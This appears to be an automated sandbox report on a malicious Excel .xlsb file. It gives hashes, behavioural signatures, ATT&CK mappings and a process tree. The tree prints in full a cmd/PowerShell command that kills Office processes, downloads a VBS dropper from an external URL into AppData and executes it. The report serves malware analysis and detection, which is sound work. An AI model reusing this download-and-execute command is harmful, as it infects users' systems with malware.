Analysis

  • max time kernel
    103s
  • max time network
    139s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    30-11-2022 15:52

General

  • Target

    a1e17a1672d4cf06b3bc45cd8001d918d5a11267378a6764b5ee871d45655af9.xlsb

  • Size

    18KB

  • MD5

    63b8cccfebccb79a7bdb7e873e73e136

  • SHA1

    6fe7e733d69cb912e35913f83abfb354a6e772cd

  • SHA256

    a1e17a1672d4cf06b3bc45cd8001d918d5a11267378a6764b5ee871d45655af9

  • SHA512

    8485416a7d62b8594cea5fba3c78e75d19994e7de6d146d2bff352ce9f670a9005cf666084bd60af9f1a1af698efe531df276c5ecefda890eef0f6d037c1b627

  • SSDEEP

    384:Lka8qJPfSMB419RZAh6sIj8l7P3VEyoROGva81:34ow9RZmpm85Sdv11

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://fast-cargo.com/images/file/vb/7.vbs

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Kills process with taskkill 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\a1e17a1672d4cf06b3bc45cd8001d918d5a11267378a6764b5ee871d45655af9.xlsb
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1228
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /K taskkill /f /im winwords.exe&taskkill /f /im Excels.exe&PowerShell (New-Object System.Net.WebClient).DownloadFile('http://fast-cargo.com/images/file/vb/7.vbs','C:\Users\Admin\AppData\Roaming\Internte.vbs');Start-Process 'C:\Users\Admin\AppData\Roaming\Internte.vbs'
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:320
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im winwords.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1640
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im Excels.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1516
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        PowerShell (New-Object System.Net.WebClient).DownloadFile('http://fast-cargo.com/images/file/vb/7.vbs','C:\Users\Admin\AppData\Roaming\Internte.vbs');Start-Process 'C:\Users\Admin\AppData\Roaming\Internte.vbs'
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1692

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Discovery

Query Registry

1
T1012

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/320-61-0x0000000000000000-mapping.dmp
  • memory/1228-70-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1228-55-0x00000000719A1000-0x00000000719A3000-memory.dmp
    Filesize

    8KB

  • memory/1228-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1228-57-0x000000007298D000-0x0000000072998000-memory.dmp
    Filesize

    44KB

  • memory/1228-58-0x00000000767F1000-0x00000000767F3000-memory.dmp
    Filesize

    8KB

  • memory/1228-59-0x0000000000599000-0x000000000059D000-memory.dmp
    Filesize

    16KB

  • memory/1228-60-0x0000000000599000-0x000000000059D000-memory.dmp
    Filesize

    16KB

  • memory/1228-54-0x000000002F071000-0x000000002F074000-memory.dmp
    Filesize

    12KB

  • memory/1228-63-0x000000007298D000-0x0000000072998000-memory.dmp
    Filesize

    44KB

  • memory/1228-71-0x000000007298D000-0x0000000072998000-memory.dmp
    Filesize

    44KB

  • memory/1516-64-0x0000000000000000-mapping.dmp
  • memory/1640-62-0x0000000000000000-mapping.dmp
  • memory/1692-68-0x000000006BDD0000-0x000000006C37B000-memory.dmp
    Filesize

    5.7MB

  • memory/1692-69-0x000000006BDD0000-0x000000006C37B000-memory.dmp
    Filesize

    5.7MB

  • memory/1692-67-0x000000006BDD0000-0x000000006C37B000-memory.dmp
    Filesize

    5.7MB

  • memory/1692-65-0x0000000000000000-mapping.dmp